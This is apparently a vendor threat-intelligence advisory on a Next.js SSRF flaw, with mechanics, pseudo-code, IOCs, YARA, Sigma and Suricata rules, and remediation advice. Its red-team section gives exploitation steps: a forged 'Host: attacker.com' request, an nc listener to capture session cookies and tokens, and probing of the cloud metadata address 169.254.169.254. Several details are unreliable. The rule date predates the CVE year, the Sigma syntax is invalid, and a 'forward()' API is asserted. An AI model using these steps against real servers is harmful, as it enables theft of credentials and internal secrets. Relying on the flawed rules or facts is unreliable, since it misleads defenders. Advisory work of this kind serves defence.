CVE-2026-64649

Executive Summary

CVE-2026-64649 is a Server-Side Request Forgery (SSRF) vulnerability in Next.js, a popular React framework. When a Server Action forwards or redirects an HTTP request, an attacker can manipulate Host-associated headers to force the server to send the outbound request to a malicious host. This occurs only when the incoming Host header is not pinned to a trusted value—typically on custom servers or deployments not behind a proxy. Managed hosting (e.g., Vercel) and next start / standalone from version 14.2 onward are not affected. The issue is present in versions 14.1.1 through 15.5.20 and 16.0.0 through 16.2.10, and has been patched in 15.5.21 and 16.2.11.

Supply Chain & Package Security

Next.js is distributed via the npm registry (next package). Organizations using npm for dependency management should immediately audit their package.json and package-lock.json for affected versions. A malicious actor could leverage this SSRF to exfiltrate internal secrets, pivot to internal services, or bypass middleware/proxy authorization checks. Supply chain security tools (e.g., Snyk, Dependabot) should flag vulnerable ranges. Developers are advised to pin the Host header upstream (e.g., via a reverse proxy) until they can upgrade.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, the vulnerability exhibits the following characteristics:

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – requires only control over Host-related headers.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – doesn't require user action.
• Scope (S): Changed – SSRF can impact resources beyond the web server.
• Confidentiality (C): High – internal service responses or secrets may be exposed.
• Integrity (I): None – no direct data corruption.
• Availability (A): None – no denial of service.

Estimated CVSS score: ~7.5 (High). Threat level is elevated due to the prevalence of Next.js applications and the ease of exploitation when Host header pinning is absent.

Deep Dive & Mechanics

The vulnerability resides in Next.js’s Server Actions mechanism, which handles POST requests with action IDs. When a Server Action executes a redirect() or forward(), the framework constructs an outbound HTTP request. The destination host of that outbound request is derived from the incoming Host header (or X-Forwarded-Host if behind a proxy). If the application does not validate or pin these headers, an attacker can craft a request with a Host header pointing to an attacker-controlled server (e.g., evil.com). The Next.js server will then send the redirected/forwarded request to evil.com, potentially leaking internal query parameters, cookies, or tokens.

In some configurations, the SSRF can also be used to probe internal network services (e.g., http://localhost:3000 or metadata endpoints like 169.254.169.254 on cloud providers). The vulnerability is a classic SSRF via header injection, with the trigger being a Server Action that issues a redirect.

Vulnerable vs. Patched Code

The fix implemented in versions 15.5.21 and 16.2.11 involves validating the origin of the redirect/forward destination. Instead of blindly trusting the Host header, the patched code uses the server’s own origin (configured or derived from the socket) or requires explicit whitelisting.

Vulnerable pseudo-code (simplified):

// Vulnerable: uses req.headers.host directly
const redirectUrl = new URL(path, `http://${req.headers.host}`);
serverActionRedirect(redirectUrl);

Patched pseudo-code:

// Patched: uses a trusted base URL
const trustedBase = process.env.NEXT_PUBLIC_BASE_URL || `http://localhost:${port}`;
const redirectUrl = new URL(path, trustedBase);
serverActionRedirect(redirectUrl);

Additionally, the patched version logs a warning when the Host header deviates from the expected value, aiding in detection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Next.js application (version 14.1.1–15.5.20 or 16.0.0–16.2.10) running on a custom server (e.g., next dev or a Node.js server without host pinning).
• A Server Action that performs a redirect (e.g., redirect('/dashboard') or forward('/api/data')).
• An attacker-controlled HTTP server (e.g., using nc -lvp 8080 or a webhook site).

Exploitation Steps:

1. Identify a server action endpoint. Example: POST /api/auth/login with body { "action": "login" }.
2. Craft a malicious request with a manipulated Host header:

   POST /api/auth/login HTTP/1.1
   Host: attacker.com:9999
   Content-Type: application/json
   ...
   

3. Send the request. The Next.js server will perform the redirect/forward to the attacker's host.
4. On the attacker’s server, capture the incoming request—this may include session cookies, Authorization headers, or query parameters from internal redirects.

Advanced SSRF:

• Use Host: 169.254.169.254 (or other internal IPs) to attempt cloud metadata exfiltration.
• Combine with a redirect path like /?token=INTERNAL_TOKEN if the action forwards with query parameters.

Blue Team

Detection & Prevention:

• Host Header Pinning: Always pin the expected Host header upstream (e.g., via nginx or HAProxy). Set proxy_set_header Host $host; and validate against a known list.
• Network Segmentation: Restrict outbound traffic from web servers. Use egress firewalls to block connections to unknown internal IPs or non-essential external hosts.
• Web Application Firewall (WAF): Deploy WAF rules that inspect Host header for suspicious patterns or deviations from expected values.
• Logging: Enable detailed access logs and monitor for requests with unusual Host headers or unexpected outbound connections.
• Upgrade: Immediately update to Next.js 15.5.21 or 16.2.11.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the Next.js server to external IPs/hosts that were not part of normal traffic (especially after a Server Action redirect).
  • Unexpected connections to 169.254.169.254 (cloud metadata) or internal RFC 1918 addresses.
  • Anomalous Host header values in incoming requests (e.g., IP addresses, unfamiliar domains).

• Application Logs:

  • Server Action redirect logs showing destination URLs with untrusted hosts.
  • Warning messages from patched versions indicating Host header mismatch (added in v15.5.21/v16.2.11).

• Host-Based IOCs:

  • Modification of next.config.js or environment variables to override NEXT_PUBLIC_BASE_URL if an attacker persisted.

Detection Engineering

YARA Rule (Next.js SSRF Detection)

rule Nextjs_SSRF_Redirect_Host {
    meta:
        description = "Detects exploited Server Action redirect with malicious Host header in Next.js logs"
        author = "Valters IT"
        date = "2025-03-25"
        reference = "CVE-2026-64649"
    strings:
        $s1 = "redirect" nocase
        $s2 = "Server Action" nocase
        $s3 = "Host:" nocase
        $s4 = "169.254.169.254" nocase
        $s5 = "localhost" nocase
    condition:
        all of ($s1, $s2, $s3) and ($s4 or $s5)
}

Sigma Rule (Network)

title: Next.js SSRF via Host Header Manipulation
id: 6a8b1c2d-3e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects outbound HTTP connections from a Next.js process to unusual destinations following a Server Action redirect.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-64649
logsource:
    category: network_connection
    product: zeek
    service: http
detection:
    selection:
        src_ip: internal_range   # Adjust to your web server IP
        method: "GET" or "POST"
        host: 
            - "169.254.169.254"
            - "metadata.google.internal"
            - "169.254.170.2"
        user_agent: "Node.js"  # Typical Next.js UA
    condition: selection
falsepositives:
    - Legitimate cloud metadata calls if intended (rare)
level: high
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-64649 Next.js SSRF via Host header manipulation"; flow:to_server; content:"Host|3a|"; nocase; content:"169.254.169.254|0d 0a|"; distance:0; sid:1000001; rev:1;)

Note: Adjust the rule to match specific Host header values and your network ranges.

Remediation & Mitigation

1. Upgrade Next.js:

   • For versions >=14.1.1 and <15.5.21, upgrade to 15.5.21 or later.
   • For versions >=16.0.0 and <16.2.11, upgrade to 16.2.11 or later.
   • Run: npm install next@latest or specify the patched version.

2. Immediate Workarounds (if upgrade delayed):

   • Pin the Host header at the reverse proxy (Nginx, Apache, HAProxy) to a static value.
   • Configure NEXT_PUBLIC_BASE_URL environment variable to the server's canonical URL.
   • Disable Server Actions if not in use: set experimental.serverActions: false in next.config.js.

3. Network Hardening:

   • Implement egress filtering: block outbound traffic to internal IP ranges unless explicitly required.
   • Use a Web Application Firewall (WAF) with rules that reject requests with unexpected Host headers.

4. Monitor:

   • Enable Next.js logging at debug level to capture redirect destinations.
   • Set up alerts for any outbound connections to cloud metadata endpoints (169.254.169.254, 169.254.170.2, metadata.google.internal).

Report generated by Valters IT Cyber Threat Intelligence Team.
For further analysis, contact: security@valters-it.com